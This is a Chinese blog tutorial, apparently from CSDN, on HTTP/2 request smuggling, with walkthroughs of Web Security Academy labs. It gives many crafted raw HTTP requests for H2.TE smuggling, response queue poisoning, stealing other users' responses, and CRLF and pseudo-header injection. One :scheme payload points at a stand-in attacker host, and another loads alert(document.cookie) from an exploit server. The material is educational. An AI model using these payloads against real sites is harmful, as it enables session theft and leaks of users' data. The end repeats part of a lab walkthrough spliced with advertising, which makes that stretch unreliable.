WEB安全-金手铐系列-HTTP 2高级请求夹带攻击--Advanced request smuggling_http 2攻击(2)

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上大数据知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

需要这份系统化资料的朋友,可以戳这里获取

2. H2.TE漏洞

分块传输编码TE与HTTP/2不兼容,TE报头都应该被剥离,或者完全阻止请求。若前端服务器在降级时,没有去除含有TE报头的报文,可能就会引起请求走私攻击。

:method 	POST
:path 	/example
:authority 	vulnerable-website.com
content-type 	application/x-www-form-urlencoded
transfer-encoding 	chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar

3. 响应队列中毒

响应队列毒化是一种强大的请求走私攻击形式,它会导致前端服务器将响应从后端匹配到错误的请求。在实践中,这意味着相同前端/后端连接的所有用户得到的响应都被扰乱,被攻击者获取或利用。
这是通过走私一个完整的请求,却在后端产生了两个响应,其中一个发回给请求者,另一个则驻留在响应队列中,反馈给下一个请求者(可下一个要的不是这个响应啊,所以产生了混乱,导致信息响应给了别人)。

获取的响应可能包含敏感的个人或业务数据以及会话令牌等。

该攻击影响较大,正常用户尝试浏览网站时,将收到来自服务器的看似随机的响应,这将阻止大多数功能正常工作。

  • 构造攻击的条件
    • 前、后端服务之前建立的TCP连接,在多个请求/响应周期(会话)中重复使用。
    • 能成功完成独立完整的请求走私攻击,并收到对应的后端响应。
    • 攻击过程中不会导致任何一台服务器关闭TCP连接。(通常服务器在收到无效请求时,因无法确认结束点,会主动关闭连接。)
    • 明确攻击细节产生的影响

提示:只要服务器收到无效请求,即会关闭连接。
但如果仅有一个带有部分请求头的请求行(如 x=1GET / HTTP/1.1 ),后端最终仍会认为是两个完整的请求。不会关闭连接。

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10

x=1GET / HTTP/1.1         (注意此行,第二个请求是GET方法,仅隐藏一个带有部分请求头的请求行)

  • 如果走私也包含正文的请求,则连接的下一个请求将被附加到走私请求的正文中。数据包根据内容长度截断最终请求。结果,后端实际上看到了三个请求,其中第三个“请求”只是一系列剩余的字节:这将导致服务器收到无效请求,关闭连接

前端发送

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

0

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25

x=GET / HTTP/1.1
Host: vulnerable-website.com

后端处理后

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 120
Transfer-Encoding: chunked

0

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 25

x=GET / HTTP/1.1
Host: v(因长度为25,将在此处截断,后面为第三个不完整数据包内容)ulnerable-website.com

完整标准的攻击构造

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: x-www-form-urlencoded\r\n
Content-Length: 61\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /anything HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n
GET / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n

4. 如何窃取其他用户的响应

一个完整的请求走私攻击如下图:
请添加图片描述

两个请求,由于前端以为只发了“一个”请求,所以第一个响应被正常返回给客户端了。
但第二个响应却驻留在了前端与后端之间(响应序列中排第一)。
当后续再有用户正常请求时,这个驻留响应将被发给这个用户,但问题出现了,这时这个用户真实的响应却驻留在了前后端之间。(并在响应序列中排第一)
所以怎么窃取呢,这时如果攻击拿捏好时间,再次访问,则驻留响应就会发给攻击者,使攻击者获取别人的信息。

请添加图片描述

使用Burp Intruder之类的工具,攻击者可以很容易地自动重新发出请求。这样做可以快速获取不同用户的各种回复,其中可能包含有用的数据。只要前端/后端连接保持打开,就可以继续窃取此类响应。连接关闭的确切时间因服务器而异,但常见的默认情况是在处理了100个请求后终止连接。有过成功先例,再次重新毒化一个新连接也很容易。

为了更容易区分窃取响应,请在发送的两个请求中使用不存在的路径。这样自己的请求应该一致地收到404响应,易于区分。

例题 2

5. 通过CRLF注入完成请求走私攻击

部分网站采取了H2.CL和H2.TE攻击的基础防护

  • 验证Content-Length
  • 过滤掉Transfer-Encoding

相对应绕过方式有如下两种

  • 在HTTP/1中,利用服务器处理独立换行符(\n)的差异来走私被禁止的标头。
foobar\r\nTransfer-Encoding: chunked
  • HTTP/2中 \r\n标头值中不再有任何特殊意义,但在降为1.0时,HTTP/1后端服务器将看到两个不同的标头
foobar\r\nTransfer-Encoding: chunked
Foo: bar
Transfer-Encoding: chunked

例题 3

6. 其他HTTP/2的报头注入攻击方式

尽管下文介绍的很多种请求被HTTP/2规范正式禁止,但一些服务器未能有效地验证和阻止它们,导致可以利用。

  • 通过标头名称注入

冒号或者\r\n无法在HTTP/2中使用,但是在HTTP/1.1中可以使用。前端服务器未识别出异常,一个数据包传递到后端,后端使用HTTP/1.1识别出多个数据包,造成请求走私

foo: bar\r\nTransfer-Encoding: chunked\r\nX: ignore

Foo: bar\r\n
Transfer-Encoding: chunked\r\n
X: ignore\r\n

  • 伪头部标头

HTTP/2中没有请求行或者状态行,这些数据信息是通过伪头部放到请求的最前面的(二进制)。在Burp中文本话表现为带有冒号开头的伪头部,与普通报头区分开来。伪标头一般有五个:

  1. :method-请求方法。

如果method值中可包含空格,则您可以按如下方式注入完全不同的请求行

:methodGET /admin HTTP/1.1
:path/anything
:authorityvulnerable-website.com
GET /admin HTTP/1.1 /anything HTTP/1.1
Host: vulnerable-website.com

  1. :path-请求路径。多重表头攻击。请注意,这包括查询字符串。
:methodPOST
:path/anything
:path/admin
:authorityvulnerable-website.com

寻找前后端服务器处理差异,是否可以直接访问受控路径/admin

  1. :authority-大致相当于HTTP/1 host标头。

请参考文章 《host头攻击》

  1. :scheme-请求协议,通常为HTTP或HTTPS。攻击尝试写入全路径
:method 	GET
:path 	/anything
:authority 	vulnerable-website.com
:scheme 	https://evil-user.net/poison?

导致后续处理时出现异常,产生异常跳转。

:status 	301
location 	https://evil-user.net/poison?://vulnerable-website.com/anything/

  1. :status-响应状态代码(不在请求中使用)。

当网站将请求降级为HTTP/1时,使用其中一些伪头的值来动态构建请求行。这使构建攻击成为可能。

7. HTTP/2请求报头差分多个请求包

在程序有效验证Content-Length并且不支持Transfer-Encoding时,导致上述方法失效时,可尝试此方法。

:methodGET
:path/
:authorityvulnerable-website.com
foobar\r\n\r\n GET /admin HTTP/1.1\r\n Host: vulnerable-website.com

例题 4

8. HTTP请求隧道

前述的各种利用方式都是建立在同一连接可以处理多个请求,但万一服务器对此有更严格的控制,甚至是不允许复用同一链接呢。

  • 同一IP或同一客户端才能使用一个连接
    请添加图片描述
  • 利用请求隧道获取内部头部
    1. 漏洞确认:单纯使用HTTP/1其实无法确认是否能使用,但是HTTP/2降到1的程序,如果发送一个请求,却收到两个响应,则一存在请求走私漏洞。
    2. 获取内部添加的请求头:前后端对一个请求无差异,但是在处理请求头结束时往往有细微差别,前端默认原请求头末尾为标头结束。但后端往往认为\r\n是,则会将内部添加的请求头认为是正文一部分进行响应,导致泄露。
:method 	POST
:path 	/comment
:authority 	vulnerable-website.com
content-type 	application/x-www-form-urlencoded
foo 	

bar\r\n
Content-Length: 200\r\n
\r\n
comment=
x=1 

POST /comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 200

comment=X-Internal-Header: secretContent-Length: 3   (此处泄露内部请求头)
x=1

三、漏洞实例

1. H2.CL请求走私(H2.CL request smuggling
  • 目标

引诱目标用户从攻击服务器加载恶意的JavaScript文件并调alert(document.cookie)。

  • 解题思路
    1. 探索网站,在repeater选项中,关掉**update Content-length ** 打开 Allow HTTP/2 ALPN override
    2. 尝试如下代码可以任意发文自定义Host
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: 自定义任意               
Content-Length: 5

x=1

  1. 构造攻击包。攻击服务其上,路径改为/resources,body改为alert(document.cookie)
POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.web-security-academy.net
Content-Length: 5

x=1

2. 通过H2.TE请求走私实现响应队列中毒(Response queue poisoning via H2.TE request smuggling
  • 目标

通过毒化响应队列,进入/admin控制面板,删除账户calors
管理员每15秒登陆一次,链接每10次通讯后重置。

  • 解题思路

这道题设计的不难,但是能清晰的说明上述介绍的知识点

  1. 尝试如下代码,如果出现第一次请求正常200响应,紧接着第二次请求,大概率出现404响应,则以为着存在请求走私漏洞。
POST / HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED    (这是遗留的字段,会与第二个请求混在一起,形成无效访问,造成404响应)

  1. 构造独立请求走私攻击包,路径替换为不存在路径,一般响应为404或200,但是若获取到302响应则为用户响应被窃取到。多尝试几次
POST /X HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked


![img](https://img-blog.csdnimg.cn/img_convert/6c17daa447f0deec8b60379aaab034fd.png)
![img](https://img-blog.csdnimg.cn/img_convert/d0529ee53c7c4174a875b3bc64b8bf56.png)

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  (这是遗留的字段,会与第二个请求混在一起,形成无效访问,造成404响应)

  1. 构造独立请求走私攻击包,路径替换为不存在路径,一般响应为404或200,但是若获取到302响应则为用户响应被窃取到。多尝试几次
POST /X HTTP/2
Host: acf11f851ee7b58fc09656df00570055.web-security-academy.net
Transfer-Encoding: chunked


[外链图片转存中...(img-PTHeweB9-1715690480830)]
[外链图片转存中...(img-aoSQXfL9-1715690480830)]

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以戳这里获取](https://bbs.csdn.net/topics/618545628)**


**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 18
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
HTTP Request Smuggling 是一种攻击技术,利用了不同的 HTTP 设备(如负载均衡器、防火墙等)在处理 HTTP 请求时的解析差异,从而导致安全漏洞。 攻击者通过构造特殊的 HTTP 请求,利用不同设备在解析请求时的差异性,让部分设备认为请求结束,而另一部分设备认为请求并未结束。这种差异可能导致请求被拆分成多个部分,在后续处理中可能产生安全漏洞,例如绕过访问控制、绕过身份验证、执行未授权操作等。 攻击者通常会尝试向目标服务器发送构造精细的请求,以利用设备解析差异性。常见的 HTTP Request Smuggling 攻击包括: 1. 链接队列攻击:在 HTTP 请求头中使用换行符来分割请求,在设备解析时将请求分割成两部分。 2. Content-Length 碎片攻击:通过构造含有 Content-Length 的请求,在设备解析时将请求拆分成多个片段。 3. Transfer-Encoding 碎片攻击:通过构造含有 Transfer-Encoding 的请求,在设备解析时将请求拆分成多个片段。 4. HTTP Verb 碎片攻击:通过构造含有 HTTP Verb 的请求,在设备解析时将请求拆分成多个片段。 为了防止 HTTP Request Smuggling 攻击,以下是一些防护措施: 1. 更新设备和服务器软件以修复解析差异导致的漏洞。 2. 在负载均衡器、防火墙等设备上配置适当的规则和过滤器,防止恶意请求通过。 3. 使用安全编码实践,对输入数据进行适当的验证和过滤,确保输入数据不会导致解析差异性。 4. 监控和分析网络流量,检测异常请求模式和攻击行为。 总之,了解 HTTP Request Smuggling 攻击并采取适当的防护措施是保护应用程序和网络安全的重要步骤。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值